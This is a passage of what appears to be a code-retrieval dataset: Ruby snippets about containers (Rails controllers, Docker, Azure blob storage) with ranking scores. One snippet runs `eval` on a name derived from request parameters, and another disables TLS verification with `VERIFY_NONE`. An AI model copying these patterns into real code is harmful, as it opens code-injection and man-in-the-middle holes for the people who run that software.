query_params[:'stat_size_on_cache'] = opts[:'stat_size_on_cache'] if !opts[:'stat_size_on_cache'].nil?\n query_params[:'guest_right'] = opts[:'guest_right'] if !opts[:'guest_right'].nil?\n query_params[:'last_update'] = opts[:'last_update'] if !opts[:'last_update'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ContainerCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContainersApi#index_containers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def container_names\n (@pod.dig(:spec, :containers) + self.class.init_containers(@pod)).map { |c| c.fetch(:name) }.uniq\n end", "def get_container\n container_id_key = params.keys.find_all { |key| key =~ /\\w+_id/ }.last\n container_class = eval(container_id_key.humanize.titleize.delete(' '))\n @container = container_class.find_by_id(params[container_id_key])\n redirect_with_error 'Invalid project id' unless @container\n end", "def container\n return nil if container_type.blank? || container_id.blank?\n container_type.constantize.where(id: container_id).first\n end", "def get_container(container_name)\n assert_not_nil @rdigg.info.get_container(\"technology\")\n end", "def containers_from_solr\n containers(:response_format => :load_from_solr)\n end", "def find_container\n if action_name.in? ['create', 'update']\n cid = params[:container_id]\n else\n cid = params[:id]\n params[:id] = params[:download_id]\n alid = params[:activity_log_id]\n altype = params[:activity_log_type]\n end\n @container = NfsStore::Browse.open_container id: cid, user: current_user\n @retrieval_type = params[:retrieval_type]\n\n @activity_log = ActivityLog.open_activity_log altype, alid, current_user if alid.present? && altype.present?\n\n case @retrieval_type\n when 'stored_file'\n @download = @container.stored_files.find_by(id: params[:download_id])\n when 'archived_file'\n @download = @container.archived_files.find_by(id: params[:download_id])\n else\n raise FphsException, 'Incorrect retrieval_type set'\n end\n\n @container.parent_item = @activity_log\n @master = @container.master\n @master.current_user ||= current_user\n # object_instance.container = @container\n @container\n end", "def index_containers(opts = {})\n data, _status_code, _headers = index_containers_with_http_info(opts)\n data\n end", "def container(container_id)\n if container_id\n container = ::Docker::Container.send(:new, @dockerd, container_id)\n # return the container json if we can retrieve it.\n begin\n # check the container exists by querying its json\n container.json\n container\n # if the container doesn't exist we get an Excon 404\n rescue Excon::Errors::NotFound\n nil\n end\n else\n nil\n end\n end", "def container\n cache or raise RuntimeError, \"no container known.\"\n end", "def metadata\n log \"retrieving container metadata from #{container_path}\"\n response = storage_client.head(container_path)\n custom = {}\n response.each_capitalized_name { |name|\n custom[name] = response[name] if name[/\\AX-Container-Meta-/]\n }\n {\n :objects => response[\"X-Container-Object-Count\"].to_i,\n :bytes => response[\"X-Container-Bytes-Used\"].to_i,\n :custom => custom,\n }\n end", "def get_container_acl(name, options={})\n # Query\n query = { 'comp' => 'acl' }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n \n # Call\n response = call(:get, container_uri(name, query), nil, {}, options)\n\n # Result\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n\n signed_identifiers = nil\n signed_identifiers = Serialization.signed_identifiers_from_xml(response.body) if response.body != nil && response.body.length > 0\n\n return container, signed_identifiers\n end", "def get_container_acl(name, options={})\n query = { 'comp' => 'acl'}\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n response = call(:get, container_uri(name, query))\n\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n\n signed_identifiers = nil\n signed_identifiers = Serialization.signed_identifiers_from_xml(response.body) if response.body != nil && response.body.length > 0\n\n return container, signed_identifiers\n end", "def container\n container_class\n end", "def containers\n containers_exited(days_old: 1)\n containers_running(days_old: 1)\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def lf_container\n container = Dry::Container.new\n\n case namespace\n when String, Symbol\n container.namespace(namespace) { |c| return c }\n when true\n container.namespace(identifier) { |c| return c }\n when nil\n container\n else\n raise <<-STR\n +namespace+ boot option must be true, string or symbol #{namespace.inspect} given.\n STR\n end\n end", "def all\n containers = service.list_containers\n data = []\n containers.each do |container|\n c = parse_storage_object(container)\n c[:acl] = 'unknown'\n data << c\n end\n load(data)\n end", "def check_container(name)\n begin\n container=CF.container(name)\n container.make_public unless container.cdn_enabled?\n puts container.cdn_url if container.cdn_enabled?\n count=container.count\n rescue CloudFiles::Exception::NoSuchContainer\n container=CF.create_container(name)\n container.make_public\n count=container.count\n rescue CloudFiles::Exception::InvalidResponse\n\tSTDERR.puts \"FAIL: Invalid response container\"\n exit\n end\n return count\nend", "def running_containers\n containers = ::Docker::Container.all(all: true, filters: { status: [\"running\"] }.to_json)\n return containers\n end", "def container\n @container ||= Container.new(spec[:containers].first)\n end", "def create\n response = get_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers/\"+params[:containerID].to_s+\"/deploy.json\"), (sesh :current_token))\n json_respond response.body\n end", "def inspect(container_s)\n containers = container_s\n containers = [containers] unless container_s.is_a?(Array)\n return [] if containers.empty?\n out = run!('inspect', containers)\n result = JSON.parse(out).map { |c| Container.new(c, session:self)}\n if container_s.is_a?(Array)\n result\n else\n result.first\n end\n end", "def container\n @container ||= find_or_create_container\n end", "def container_params\n params.require(:container).permit(:name, :container_name, :image)\n end", "def index\n @collections = @institution.collections.order(:name)\n\n respond_to do |format|\n format.html { render layout: 'fluid' }# index.html.erb\n format.json { render json: @collections }\n end\n end", "def show\n @container = Container.get!(params[:id])\n @dropbox = Dropbox.new(@container)\n @upload_url = upload_container_url(@container.id)\n if Ixtlan::Guard.check(self, :containers, :edit, nil) || @container.public?\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @container }\n end\n else\n redirect_to container_url(Container.root.id)\n end\n end", "def get_container_metadata(name, options={})\n # Query\n query = { 'comp' => 'metadata' }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Call\n response = call(:get, container_uri(name, query), nil, {}, options)\n\n # result\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container\n end", "def list # rubocop:disable Metrics/AbcSize\n authcookie = ComputeBase.new\n authcookie = authcookie.authenticate(id_domain, user, passwd, restendpoint)\n url = restendpoint + @function + container\n uri = URI.parse(url)\n http = Net::HTTP.new(uri.host, uri.port, @proxy_addr, @proxy_port) # Creates a http object\n http.use_ssl = true # When using https\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Get.new(uri.request_uri)\n request.add_field 'accept', 'application/oracle-compute-v3+json' if action == 'details'\n request.add_field 'accept', 'application/oracle-compute-v3+directory+json' if action == 'list'\n request.add_field 'Cookie', authcookie\n http.request(request)\n end", "def update\n respond_to do |format|\n if @declaration_container.update_attributes(params[:declaration_container])\n format.html { redirect_to @declaration_container, notice: 'Declaration container was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @declaration_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def hits_containers=(value)\n @hits_containers = value\n end", "def hits_containers\n return @hits_containers\n end", "def id\n container.id\n end", "def get_container_metadata(name, options={})\n query = { 'comp' => 'metadata'}\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n response = call(:get, container_uri(name, query))\n\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container\n end", "def get_containers\n content = YAML::load(File.read(docker_compose_file))\n content.has_key?('version') ? content['services'].keys : content.keys\n end", "def container_symbol\n raise NotImplementedError\n end", "def container\n options.fetch(:container)\n end", "def info\n container.info\n end", "def init_containers\n return @init_containers\n end", "def destroy\n @container = Container.find(params[:id])\n @container.destroy\n\n respond_to do |format|\n format.html { redirect_to containers_url, notice: 'Container was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def show\n @container_content = ContainerContent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @container_content }\n end\n end", "def get_container(container_name = \"lightstructures\")\n containers = $azure_blob_service.list_containers()\n return containers.detect { |c| c.name == container_name } # Must be better ways?!\nend", "def show\n @collection = @institution.collections.find(params[:id])\n\n respond_to do |format|\n format.html { render layout: 'fluid' }# show.html.erb\n format.json { render json: @collection }\n end\n end", "def index\n @disciplines = Discipline.paginate(:page => params[:page], per_page: 30)\n @number = Discipline.count\n respond_to do |format|\n format.html\n format.json { render :json => Discipline.all.to_json(include: :department) }\n end\n end", "def show\n @receipt_container = ReceiptContainer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @receipt_container }\n end\n end", "def container_params\n params.require(:container).permit(:name, :image, :command, :exposed_port, :host_port, :server_id)\n end", "def get_containers_by(params)\n @containers.values.select do |container|\n (params.to_a - container.attributes.to_a).empty?\n end\n end", "def container_id\n @container_info[\"Id\"]\n end", "def validate_container_resources\n (pod_containers.map { |c| c[1..] || [] } + init_containers).flatten(1).each do |container|\n [\n [:resources, :requests, :cpu],\n [:resources, :requests, :memory],\n [:resources, :limits, :cpu],\n [:resources, :limits, :memory],\n ].each do |path|\n next if container.dig(*path)\n name = container[:name] || container[:image] || \"unknown\"\n @errors << \"Container #{name} is missing #{path.join(\".\")}\"\n end\n end\n end", "def containers(opts={})\n is_member_array = is_member_of_collection(:response_format=>:id_array)\n \n if !is_member_array.empty?\n logger.warn \"This object has inbound collection member assertions. hasCollectionMember will no longer be used to track file_object relationships after active_fedora 1.3. Use isPartOf assertions in the RELS-EXT of child objects instead.\"\n if opts[:response_format] == :solr || opts[:response_format] == :load_from_solr\n logger.warn \":solr and :load_from_solr response formats for containers search only uses parts relationships (usage of hasCollectionMember is no longer supported)\"\n result = part_of(opts)\n else\n con_result = is_member_of_collection(opts)\n part_of_result = part_of(opts)\n ary = con_result+part_of_result\n result = ary.uniq\n end\n else\n result = part_of(opts)\n end\n return result\n end", "def new\n @container_stack = ContainerStack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @container_stack }\n end\n end", "def container\n @container ||= Docker::Container.get(@name)\n rescue Docker::Error::NotFoundError\n @container = nil\n end", "def container\n return @container\n end", "def ephemeral_containers\n return @ephemeral_containers\n end", "def access_container_type\n return @access_container_type\n end", "def index\n\n get_collections\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deities }\n format.js {}\n end\n end", "def show\n id = params[:id]\n @datacenter = Datacenter.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @schema = self.schema\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @datacenter }\n end\n end", "def container=(value)\n @container = value\n end", "def get_docker_container(environment, container_name)\n container_id = \"#{environment.get_compose_project_name}_#{container_name}\"\n container = get_container(container_id)\n until container.json['NetworkSettings']['Ports']\n container = get_container(container_id)\n end\n container\nend", "def keys\n container.keys\n end", "def show\n ## Creating the deity object\n @deity = Deity.find(params[:id])\n\n respond_to do |format|\n format.html { get_collections and render :index }\n format.json { render json: @deity }\n format.js {}\n end\n end", "def new\n @container_navigation = ContainerNavigation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @container_navigation }\n end\n end", "def list_container_content (container_uri)\n all_files =[]\n # Parse Webpage response and extracting files details\n doc = Nokogiri::XML(URI.open(\"#{container_uri}\"))\n doc.xpath(\"//Blob\").each do |item|\n # look at each item\n name = item.xpath(\"Name\").text\n url = item.xpath(\"Url\").text\n size = item.xpath(\"Size\").text.to_i\n # add to our array\n all_files << { :name=>\"#{name}\", :url => \"#{url}\", :size => \"#{size}\" }\n end\n return all_files\n end", "def content\n setup_download_list\n\n except_list = case view_type\n when 'icons'\n %i[file_metadata last_process_name_run updated_at created_at user_id file_hash\n content_type nfs_store_stored_file_id]\n else\n %i[file_metadata last_process_name_run description updated_at created_at user_id file_hash\n content_type nfs_store_stored_file_id]\n end\n\n extras = {\n except: except_list,\n allow_show_flags: @allow_show_flags,\n limited_results: true\n }\n\n tfa = @container.user_file_actions_config&.map { |a| a[:id] }\n\n ff = NfsStore::Filter::Filter.human_filters_for(@activity_log)\n\n dl_json = @downloads.as_json(extras)\n\n render json: {\n nfs_store_container: {\n id: @container.id,\n name: @container.name,\n container_files: dl_json,\n item_type: 'nfs_store_container',\n writeable: @container.writable?,\n readable: @container.readable?,\n can_download_or_view: @container.can_download_or_view?,\n can_download: @container.can_download?,\n can_send_to_trash: @container.can_send_to_trash?,\n can_move_files: @container.can_move_files?,\n can_rename_files: @container.can_move_files?,\n can_rename_folders: @container.can_move_files?,\n can_user_file_actions: @container.can_user_file_actions?,\n parent_type: @activity_log.class.to_s.ns_underscore,\n parent_id: @activity_log.id,\n parent_sk: @activity_log.respond_to?(:secondary_key) && @activity_log.secondary_key,\n master_id: @activity_log.master_id,\n trigger_file_action_ids: tfa,\n directory_not_found: @directory_not_found,\n filters_for: ff,\n view_options: @container.view_options\n }\n }\n end", "def accessories\n render json: { collections: Collection.published_accessories }\n end" ]
[ "0.6783124", "0.6520187", "0.6374029", "0.6326546", "0.6218535", "0.6209396", "0.6197015", "0.6183934", "0.61831903", "0.60729015", "0.6050682", "0.5985655", "0.5935334", "0.59206355", "0.5885471", "0.5882846", "0.5861131", "0.5821936", "0.58196545", "0.5798009", "0.57894534", "0.5708282", "0.5704497", "0.57042164", "0.5673243", "0.5656452", "0.56156456", "0.5612858", "0.5565765", "0.5532531", "0.54481363", "0.54170144", "0.53329086", "0.5328085", "0.5327914", "0.53265303", "0.5312378", "0.5294935", "0.5292968", "0.5289204", "0.5279702", "0.5276128", "0.5275195", "0.52711344", "0.5260828", "0.5255557", "0.5247456", "0.52355933", "0.52346164", "0.51948506", "0.51948506", "0.5178762", "0.51666045", "0.5163129", "0.5159415", "0.5144424", "0.5143621", "0.51434886", "0.5143457", "0.5137924", "0.5107993", "0.51041156", "0.5085651", "0.5080001", "0.50762653", "0.5076223", "0.5068176", "0.5064847", "0.5062997", "0.5049886", "0.50469786", "0.5033152", "0.50258225", "0.50257045", "0.50132906", "0.50104326", "0.5009059", "0.5008743", "0.5002465", "0.4998408", "0.49941686", "0.49928415", "0.49919805", "0.4990557", "0.49681723", "0.49638343", "0.49612254", "0.49607685", "0.49597555", "0.49590352", "0.49588215", "0.49561477", "0.49561262", "0.49480593", "0.49448934", "0.49400398", "0.49338531", "0.49226907", "0.49220902", "0.49146622" ]
0.75577176
0
GET /declaration_containers/1 GET /declaration_containers/1.json
def show respond_to do |format| format.html # show.html.erb format.json { render json: @declaration_container } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @declaration_containers = @declaration.declaration_containers.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @declaration_containers }\n end\n end", "def index\n @containers = Container.all\n end", "def create\n response = post_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers.json\"), params[:container].to_json, (sesh :current_token))\n json_respond response.body \n\n end", "def create\n response = post_request(URI.parse(\"http://\"+Storage.find(cookies[:donabe_ip]).data+\"/\"+Storage.find(cookies[:current_tenant]).data+\"/containers.json\"), params[:container].to_json, Storage.find(cookies[:current_token]).data)\n json_respond response.body \n\n end", "def containers\n TestLab::Container.all\n end", "def new\n @declaration_container = DeclarationContainer.new(:declaration_id => @declaration.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @declaration_container }\n end\n end", "def list # rubocop:disable Metrics/AbcSize\n if @options[:container]\n containerview = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n containerview = containerview.contents(@options[:container])\n if containerview.code == '201' || containerview.code == '200'\n containerview.body\n elsif containerview.code == '204'\n print 'the container is empty'\n else\n @util.response_handler(containerview)\n end\n else\n newcontainer = ObjectStorage.new(@options[:id_domain], @options[:user_name], @options[:passwd])\n newcontainer = newcontainer.list\n @util.response_handler(newcontainer)\n newcontainer.body if newcontainer.code == '200'\n puts 'there are no containers' if newcontainer.code == '204'\n end \n end", "def show\n @container_stack = ContainerStack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @container_stack }\n end\n end", "def show\n @container_navigation = ContainerNavigation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @container_navigation }\n end\n end", "def containers(key = nil, options = {})\n key ||= properties.key1\n\n query = \"comp=list\"\n options.each { |okey, ovalue| query += \"&#{okey}=#{[ovalue].flatten.join(',')}\" }\n\n response = blob_response(key, query)\n\n doc = Nokogiri::XML(response.body)\n\n results = doc.xpath('//Containers/Container').collect do |element|\n Container.new(Hash.from_xml(element.to_s)['Container'])\n end\n\n results.concat(next_marker_results(doc, :containers, key, options))\n end", "def index\n user_session[:current_container]=nil\n if params[:label].blank?\n @containers = Container.list(params[:filter])\n else\n @container = Container.find_by_label(params[:label])\n render action: 'show' and return\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @containers }\n end\n end", "def containers_ids\n containers(:response_format => :id_array)\n end", "def create\n @declaration_container = DeclarationContainer.new(params[:declaration_container])\n\n respond_to do |format|\n if @declaration_container.save\n format.html { redirect_to new_declaration_container_url(:declaration_id => @declaration_container.declaration_id), notice: 'Declaration container was successfully created.' }\n format.json { render json: @declaration_container, status: :created, location: @declaration_container }\n else\n format.html { render action: \"new\" }\n format.json { render json: @declaration_container.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_containers\n assert_not_nil @rdigg.info.get_containers\n end", "def container\n namespace + '_container'\n end", "def containers\n @containers ||= Docker::Container.all(\n all: true, # include stopped containers\n filters: { id: container_ids }.to_json\n ).map(&:json)\n end", "def get_container\n container_id_key = params.keys.find_all { |key| key =~ /\\w+_id/ }.last\n container_class = eval(container_id_key.humanize.titleize.delete(' '))\n @container = container_class.find_by_id(params[container_id_key])\n redirect_with_error 'Invalid project id' unless @container\n end", "def create_container(collection, container = nil)\n active_container = container\n if active_container.nil?\n active_container = {\n \"metadata\": [\n {\n \"key\": \"dc.title\",\n \"language\": \"en_US\",\n \"value\": \"Empty Container Document\"\n },\n {\n \"key\": \"dc.contributor.author\",\n \"language\": \"en_US\",\n \"value\": \"Data Services, Bobst Library\"\n }\n ]\n }\n end\n cmd = `curl -X POST -H \"Content-Type: application/json\" -H \"Accept: application/json\" -H \"rest-dspace-token: #{@token}\" -d '#{JSON.generate(active_container)}' #{ENV[\"FDA_REST_ENDPOINT\"]}/collections/#{collection}/items --insecure -s`\n return JSON.parse(cmd)\n end", "def container\n return nil if container_type.blank? || container_id.blank?\n container_type.constantize.where(id: container_id).first\n end", "def index\n @containers_pages = @page.containers_pages\n end", "def destroy\n @declaration_container.destroy\n\n respond_to do |format|\n format.html { redirect_to declaration_containers_url(:declaration_id => @declaration_container.declaration_id) }\n format.json { head :no_content }\n end\n end", "def list_containers(options={})\n query = { }\n if options\n query['prefix'] = options[:prefix] if options[:prefix]\n query['marker'] = options[:marker] if options[:marker]\n query['maxresults'] = options[:max_results].to_s if options[:max_results]\n query['include'] = 'metadata' if options[:metadata] == true\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n end\n\n uri = containers_uri(query)\n response = call(:get, uri)\n\n Serialization.container_enumeration_results_from_xml(response.body)\n end", "def index_containers_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ContainersApi.index_containers ...'\n end\n # resource path\n local_var_path = '/containers'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'sort_by'] = @api_client.build_collection_param(opts[:'sort_by'], :pipe) if !opts[:'sort_by'].nil?\n query_params[:'id'] = opts[:'id'] if !opts[:'id'].nil?\n query_params[:'name'] = opts[:'name'] if !opts[:'name'].nil?\n query_params[:'comment'] = opts[:'comment'] if !opts[:'comment'].nil?\n query_params[:'quota_total_size'] = opts[:'quota_total_size'] if !opts[:'quota_total_size'].nil?\n query_params[:'quota_on_cache'] = opts[:'quota_on_cache'] if !opts[:'quota_on_cache'].nil?\n query_params[:'stat_total_files'] = opts[:'stat_total_files'] if !opts[:'stat_total_files'].nil?\n query_params[:'stat_total_size'] = opts[:'stat_total_size'] if !opts[:'stat_total_size'].nil?\n query_params[:'stat_size_on_cache'] = opts[:'stat_size_on_cache'] if !opts[:'stat_size_on_cache'].nil?\n query_params[:'guest_right'] = opts[:'guest_right'] if !opts[:'guest_right'].nil?\n query_params[:'last_update'] = opts[:'last_update'] if !opts[:'last_update'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ContainerCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['BasicAuth', 'BearerAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ContainersApi#index_containers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def find_container\n if action_name.in? ['create', 'update']\n cid = params[:container_id]\n else\n cid = params[:id]\n params[:id] = params[:download_id]\n alid = params[:activity_log_id]\n altype = params[:activity_log_type]\n end\n @container = NfsStore::Browse.open_container id: cid, user: current_user\n @retrieval_type = params[:retrieval_type]\n\n @activity_log = ActivityLog.open_activity_log altype, alid, current_user if alid.present? && altype.present?\n\n case @retrieval_type\n when 'stored_file'\n @download = @container.stored_files.find_by(id: params[:download_id])\n when 'archived_file'\n @download = @container.archived_files.find_by(id: params[:download_id])\n else\n raise FphsException, 'Incorrect retrieval_type set'\n end\n\n @container.parent_item = @activity_log\n @master = @container.master\n @master.current_user ||= current_user\n # object_instance.container = @container\n @container\n end", "def container(container_id)\n if container_id\n container = ::Docker::Container.send(:new, @dockerd, container_id)\n # return the container json if we can retrieve it.\n begin\n # check the container exists by querying its json\n container.json\n container\n # if the container doesn't exist we get an Excon 404\n rescue Excon::Errors::NotFound\n nil\n end\n else\n nil\n end\n end", "def container\n Dry::Types.container\n end", "def read_containers\n []\n end", "def show\n @level_container = LevelContainer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @level_container }\n end\n end", "def index\n if @container\n @container_contents = @container.container_contents\n else\n @container_contents = ContainerContent.all\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @container_contents }\n end\n end", "def container\n @container ||= Dry::Container.new\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def set_container\n @container = Container.find(params[:id])\n end", "def id\n container.id\n end", "def get_container(container_name)\n assert_not_nil @rdigg.info.get_container(\"technology\")\n end", "def show\n @container = Container.get!(params[:id])\n @dropbox = Dropbox.new(@container)\n @upload_url = upload_container_url(@container.id)\n if Ixtlan::Guard.check(self, :containers, :edit, nil) || @container.public?\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @container }\n end\n else\n redirect_to container_url(Container.root.id)\n end\n end", "def create\n response = get_request(URI.parse(\"http://\"+(sesh :donabe_ip)+\"/\"+(sesh :current_tenant)+\"/containers/\"+params[:containerID].to_s+\"/deploy.json\"), (sesh :current_token))\n json_respond response.body\n end", "def new\n @container_stack = ContainerStack.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @container_stack }\n end\n end", "def containers\n obj = parse_object(1)\n return nil unless obj && obj.m_Container && obj.m_Container.array?\n obj.m_Container.value.map do |e|\n {:name => e.first.value, :preload_index => e.second.preloadIndex.value, :path_id => e.second.asset.m_PathID.value}\n end\n end", "def container_id\n @container_info[\"Id\"]\n end", "def containers=(value)\n @containers = value\n end", "def container\n @container ||= Container.new(spec[:containers].first)\n end", "def show\n @receipt_container = ReceiptContainer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @receipt_container }\n end\n end", "def get_container(container_name)\n container = Docker::Container.all().find do |container|\n container.json['Name'] == \"/#{container_name}\"\n end\n\n if container.nil?\n Kernel.abort(\"Error: Docker container '#{container_name}' does not appear to be running. Please use 'docker logs -f #{container_name}' to investigate any start-up failures.\")\n # This return statement is required as we mock the Kernel.abort call in unit testing.\n return\n end\n\n container\nend", "def index\n @serverhascontainers = Serverhascontainer.all\n end", "def container\n @container ||= Docker::Container.get(@name)\n rescue Docker::Error::NotFoundError\n @container = nil\n end", "def containers\n return @containers\n end", "def get_container_metadata(name, options={})\n # Query\n query = { 'comp' => 'metadata' }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n # Call\n response = call(:get, container_uri(name, query), nil, {}, options)\n\n # result\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container\n end", "def destroy\n @container = Container.find(params[:id])\n @container.destroy\n\n respond_to do |format|\n format.html { redirect_to containers_url, notice: 'Container was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def metadata\n log \"retrieving container metadata from #{container_path}\"\n response = storage_client.head(container_path)\n custom = {}\n response.each_capitalized_name { |name|\n custom[name] = response[name] if name[/\\AX-Container-Meta-/]\n }\n {\n :objects => response[\"X-Container-Object-Count\"].to_i,\n :bytes => response[\"X-Container-Bytes-Used\"].to_i,\n :custom => custom,\n }\n end", "def get_container_metadata(name, options={})\n query = { 'comp' => 'metadata'}\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n\n response = call(:get, container_uri(name, query))\n\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n container\n end", "def index_containers(opts = {})\n data, _status_code, _headers = index_containers_with_http_info(opts)\n data\n end", "def container\n cache or raise RuntimeError, \"no container known.\"\n end", "def show\n @containers_pages = @page.containers_pages \n end", "def get_container(container_name = \"lightstructures\")\n containers = $azure_blob_service.list_containers()\n return containers.detect { |c| c.name == container_name } # Must be better ways?!\nend", "def get_container_acl(name, options={})\n # Query\n query = { 'comp' => 'acl' }\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n \n # Call\n response = call(:get, container_uri(name, query), nil, {}, options)\n\n # Result\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n\n signed_identifiers = nil\n signed_identifiers = Serialization.signed_identifiers_from_xml(response.body) if response.body != nil && response.body.length > 0\n\n return container, signed_identifiers\n end", "def id\n container_info.ids[0] if container_info.entries.length == 1\n end", "def show\n id = params[:id]\n @datacenter = Datacenter.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @schema = self.schema\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @datacenter }\n end\n end", "def check_container(name)\n begin\n container=CF.container(name)\n container.make_public unless container.cdn_enabled?\n puts container.cdn_url if container.cdn_enabled?\n count=container.count\n rescue CloudFiles::Exception::NoSuchContainer\n container=CF.create_container(name)\n container.make_public\n count=container.count\n rescue CloudFiles::Exception::InvalidResponse\n\tSTDERR.puts \"FAIL: Invalid response container\"\n exit\n end\n return count\nend", "def container_id\n if !params[:container_id].nil?\n return params[:container_id]\n else\n return params[:id]\n end\n end", "def get_container_acl(name, options={})\n query = { 'comp' => 'acl'}\n query['timeout'] = options[:timeout].to_s if options[:timeout]\n response = call(:get, container_uri(name, query))\n\n container = Serialization.container_from_headers(response.headers)\n container.name = name\n\n signed_identifiers = nil\n signed_identifiers = Serialization.signed_identifiers_from_xml(response.body) if response.body != nil && response.body.length > 0\n\n return container, signed_identifiers\n end", "def get_containers\n init_folder unless @init # have I been initialized?\n return @containers \n end", "def new\n @container_navigation = ContainerNavigation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @container_navigation }\n end\n end", "def info\n container.info\n end", "def get_docker_container(environment, container_name)\n container_id = \"#{environment.get_compose_project_name}_#{container_name}\"\n container = get_container(container_id)\n until container.json['NetworkSettings']['Ports']\n container = get_container(container_id)\n end\n container\nend", "def container_params\n params.require(:container).permit(:name, :container_name, :image)\n end", "def show\n @container_content = ContainerContent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @container_content }\n end\n end", "def inspect(container_s)\n containers = container_s\n containers = [containers] unless container_s.is_a?(Array)\n return [] if containers.empty?\n out = run!('inspect', containers)\n result = JSON.parse(out).map { |c| Container.new(c, session:self)}\n if container_s.is_a?(Array)\n result\n else\n result.first\n end\n end", "def container\n container_class\n end", "def container_params\n params.require(:container).permit(:name, :image, :command, :exposed_port, :host_port, :server_id)\n end", "def container\n @container ||= find_or_create_container\n end", "def containers\n unless @containers\n @containers = read_containers\n if ENV['OSGI'] && !ENV['OSGi']\n warn \"The correct constant to define for the OSGi containers is named OSGi\"\n ENV['OSGi'] = ENV['OSGI']\n end\n if ENV['OSGi'] \n @containers |= ENV['OSGi'].split(';')\n end\n end\n @resolved_containers.nil? ? @containers : @containers.dup.freeze\n end", "def create\n begin\n #get the server chosen container_params[:server_id]\n @currentServer = Server.where(id: container_params[:server_id])\n Docker.url = 'tcp://' + @currentServer[0].ip + \":\" + @currentServer[0].port\n\n #create the container in docker\n if container_params[:exposed_port].blank?\n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => container_params[:image]\n ) \n else \n @con = Docker::Container.create(\n 'name' => container_params[:name],\n 'Image' => 